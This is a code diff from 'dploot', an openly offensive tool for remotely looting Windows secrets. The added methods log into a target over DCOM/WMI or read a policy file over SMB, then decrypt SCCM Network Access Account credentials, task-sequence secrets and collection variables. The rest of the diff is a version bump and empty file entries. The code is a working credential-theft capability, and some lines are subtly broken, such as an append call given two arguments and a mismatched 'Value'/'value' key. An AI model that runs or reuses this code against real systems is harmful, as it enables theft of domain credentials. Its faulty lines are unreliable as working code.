+ value = self.sccmdecrypt(match.group(2))
112
+ sccmcollection.append(SCCMCollection(name, value))
113
+ return sccmcred, sccmsecret, sccmcollection
114
+
115
+ def parseReply(self, iEnum):
116
+ finding = list()
117
+ regex = "<PolicySecret Version=\"1\"><!\[CDATA\[(.*?)\]\]><\/PolicySecret>"
118
+ while True:
119
+ try:
120
+ pEnum = iEnum.Next(0xffffffff,1)[0]
121
+ record = pEnum.getProperties()
122
+
123
+ if 'NetworkAccessUsername' in record and 'NetworkAccessPassword' in record and len(record['NetworkAccessUsername']['value']) > 0 and len(record['NetworkAccessPassword']['value']) > 0:
124
+ logging.debug("Found NAA Credentials using WMI")
125
+ username = self.sccmdecrypt(re.match(regex, record['NetworkAccessUsername']['value']).group(1))
126
+ password = self.sccmdecrypt(re.match(regex, record['NetworkAccessPassword']['value']).group(1))
127
+ finding.append(SCCMCred(username, password))
128
+ if 'Name' in record and 'Value' in record and len(record['Name']['value']) > 0 and len(record['value']['value']) > 0:
129
+ logging.debug("Found collection variables using WMI")
130
+ name = self.sccmdecrypt(re.match(regex, record['name']['value']).group(1))
131
+ value = self.sccmdecrypt(re.match(regex, record['value']['value']).group(1))
132
+ finding.append(SCCMCollection(name, value))
133
+ if 'TS_Sequence' in record and len(record['TS_Sequence']['value']) > 0:
134
+ logging.debug("Found task sequences secret using WMI")
135
+ secret = self.sccmdecrypt(re.match(regex, record['TS_Sequence']['value']).group(1))
136
+ finding.append(SCCMSecret, secret)
137
+ except Exception as e:
138
+ if str(e).find('S_FALSE') > 0:
139
+ break
140
+ if logging.getLogger().level == logging.DEBUG:
141
+ import traceback
142
+ traceback.print_exc()
143
+ raise
144
+ else:
145
+ break
146
+ iEnum.RemRelease()
147
+ return finding
148
+
149
+
150
+ def LocalSecretsWmi(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
151
+ sccmcred=list()
152
+ sccmtask=list()
153
+ sccmcollection=list()
154
+ namespace = 'root\\ccm\\Policy\\Machine\\RequestedConfig'
155
+ query_naa = 'SELECT NetworkAccessUsername, NetworkAccessPassword FROM CCM_NetworkAccessAccount'
156
+ query_task = 'SELECT TS_Sequence FROM CCM_TaskSequence'
157
+ query_collection = 'SELECT Name, Value FROM CCM_CollectionVariable'
158
+ try:
159
+ dcom = DCOMConnection(self.target.address, self.target.username, self.target.password, self.target.domain, self.target.lmhash, self.target.nthash, self.target.aesKey, oxidResolver=True, doKerberos=self.target.do_kerberos, kdcHost=self.target.dc_ip)
160
+ iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
161
+ iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
162
+ iWbemServices = iWbemLevel1Login.NTLMLogin(namespace, NULL, NULL)
163
+ iWbemLevel1Login.RemRelease()
164
+ logging.debug("Query WMI for Network access accounts")
165
+ iEnumWbemClassObject = iWbemServices.ExecQuery(query_naa)
166
+ sccmcred = self.parseReply(iEnumWbemClassObject)
167
+ logging.debug("Query WMI for Task sequences")
168
+ iEnumWbemClassObject = iWbemServices.ExecQuery(query_task)
169
+ sccmtask = self.parseReply(iEnumWbemClassObject)
170
+ logging.debug("Query WMI for collection variables")
171
+ iEnumWbemClassObject = iWbemServices.ExecQuery(query_collection)
172
+ sccmcollection = self.parseReply(iEnumWbemClassObject)
173
+ iEnumWbemClassObject.RemRelease()
174
+ except (Exception, KeyboardInterrupt) as e:
175
+ if logging.getLogger().level == logging.DEBUG:
176
+ import traceback
177
+ traceback.print_exc()
178
+ logging.debug(str(e))
179
+ dcom.disconnect()
180
+ return sccmcred, sccmtask, sccmcollection
181
+
182
+ def triage_sccm(self) -> Tuple[List[SCCMCred], List[SCCMSecret], List[SCCMCollection]]:
183
+ sccmcred=list()
184
+ sccmtask=list()
185
+ sccmcollection=list()
186
+ try:
187
+ if self.use_wmi:
188
+ sccmcred, sccmtask, sccmcollection = self.LocalSecretsWmi()
189
+ else:
190
+ objectfile = self.conn.readFile(self.share,self.sccm_objectdata_filepath, bypass_shared_violation = True)
191
+ if (objectfile is not None and len(objectfile) > 0):
192
+ sccmcred, sccmtask, sccmcollection = self.parseFile(objectfile)
193
+ except Exception as e:
194
+ if logging.getLogger().level == logging.DEBUG:
195
+ import traceback
196
+ traceback.print_exc()
197
+ logging.debug(str(e))
198
+ pass
199
+ return sccmcred, sccmtask, sccmcollection
200
+
201
+
202
+
203
+
@@ -1,6 +1,6 @@
1
1
  [tool.poetry]
2
2
  name = "dploot"
3
- version = "2.2.4"
3
+ version = "2.6.0"
4
4
  description = "DPAPI looting remotely in Python"
5
5
  readme = "README.md"
6
6
  homepage = "https://github.com/zblurx/dploot"
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes
File without changes